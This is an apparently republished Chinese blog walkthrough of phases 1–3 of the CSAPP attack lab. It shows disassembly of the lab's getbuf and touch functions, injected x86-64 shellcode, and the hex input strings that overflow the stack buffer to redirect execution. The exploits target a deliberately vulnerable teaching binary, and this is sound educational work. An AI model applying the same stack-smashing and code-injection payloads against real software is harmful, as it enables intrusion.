IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> CSAPP实验3:attacklab -> 正文阅读

[系统运维]CSAPP实验3:attacklab

前言

这个实验只做前三个,后几个不太想做了

实验

phase1

与上一个实验,相同,首先利用objdump -d ctarget ctarget.txt生成其纯汇编文件,方便观察

void test() {
    int val;
    val = getbuf();
    printf("NO explit. Getbuf returned 0x%x\n", val);
}
void touch1() {
    vlevel = 1;
    printf("Touch!: You called touch1()\n");
    validate(1);
    exit(0);
}

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	call   401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	ret    
  4017be:	90                   	nop
  4017bf:	90                   	nop
  
00000000004017c0 <touch1>:
  4017c0:	48 83 ec 08          	sub    $0x8,%rsp
  4017c4:	c7 05 0e 2d 20 00 01 	movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
  4017cb:	00 00 00 
  4017ce:	bf c5 30 40 00       	mov    $0x4030c5,%edi
  4017d3:	e8 e8 f4 ff ff       	call   400cc0 <puts@plt>
  4017d8:	bf 01 00 00 00       	mov    $0x1,%edi
  4017dd:	e8 ab 04 00 00       	call   401c8d <validate>
  4017e2:	bf 00 00 00 00       	mov    $0x0,%edi
  4017e7:	e8 54 f6 ff ff       	call   400e40 <exit@plt>

第一阶段不需要注入代码,题目要求不需要返回到test而是返回到touch1去执行,观察getbuf函数,可以知道缓冲区一共是0x28=40字节大小,考虑到ret操作是pop %rip,需要使touch1执行,只需利用缓冲区溢出将touch1函数的地址覆盖掉原来的在调用getbuf时入栈的地址即可,于是可以得到

00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00
c0 17 40 00
//注意栈是从高地址到低地址扩充

phase2

void touch2(unsigned val){
    vlevel = 2;
    if (val == cookie){
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

一样是让getbuf函数不返回到test函数中去,而是返回到touch2中去执行,并且需要执行正确,可以看到这次的函数有参数,可以知道一个参数是由寄存器%rdi传递的,其中传递的参数需要与cookie相等
于是可以得到注入代码

mov $0x59b997fa,%rdi  //把cookie传递给参数
pushq $0x4017ec       //把touch2的地址压入栈中
retq				  //利用ret指令把,touch2的地址赋值给%rip寄存器

利用gcc -c xx.s得到其二进制文件,再利用objdump -d xx.s xx.txt得到其汇编代码对应的机器码
同时还需要考虑的一个问题就是从哪个地方执行这些代码,你将这些代码注入的时候是肯定不会执行的,需要等退出getbuf函数后根据%rip才会执行,并且%rip寄存器是从低地址到高地址执行的,毕竟其本质上是+1操作,考虑到进入一个函数会把当前的ip地址压入栈中,然后返回的时候又恢复,同时又考虑到进入一个函数就会开辟一个缓冲区,于是可以通过缓冲区溢出把压入的那个ip地址改为进入getbuf函数后%rsp的地址,这样就可以当getbuf函数返回的时候跳转到getbuf缓冲区的低地址上,然后从这个低地址开始执行,如果把代码注入到这个低地址之后就可以执行了。


p2.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	68 ec 17 40 00       	push   $0x4017ec
   c:	c3                   	ret    

于是可以得到其结果如下:

48 c7 c7 fa
97 b9 59 68
ec 17 40 00
c3 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
78 dc 61 55

phase3

int hexmatch(unsigned val, char *sval){
    char cbuf[110];
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval){
    vlevel = 3;
    if (hexmatch(cookie, sval)){
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

第三关是注入字符串,既然是注入字符串的毫无疑问是需要作为参数的是其字符串的地址了,于是我们需要考虑把字符串的地址放在那个地方,仔细观察可以看到touch2函数中还会调用其他的函数,也就是会又缓冲区覆盖,所以这个字符串的地址是肯定不能乱放的,既然如此就考虑放在test函数的缓冲区上,这样肯定不能被覆盖掉的,于是可以得到

mov $0x5561dca8,%rdi   //test函数缓冲区的地址
pushq $0x4018fa		   //touch3函数的地址
retq				   //利用ret指令将touch3函数的地址覆盖到rip寄存器上

如同第二关一样得到其机器码


p3.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 a8 dc 61 55 	mov    $0x5561dca8,%rdi
   7:	68 fa 18 40 00       	push   $0x4018fa
   c:	c3                   	ret    

得到

48 c7 c7 a8
dc 61 55 68
fa 18 40 00
c3 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
78 dc 61 55
00 00 00 00
35 39 62 39   //cookie经过ascii转化后得到16进制
39 37 66 61
00 00 00 00
  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2022-03-04 16:00:29  更:2022-03-04 16:01:21 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/16 4:46:40-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码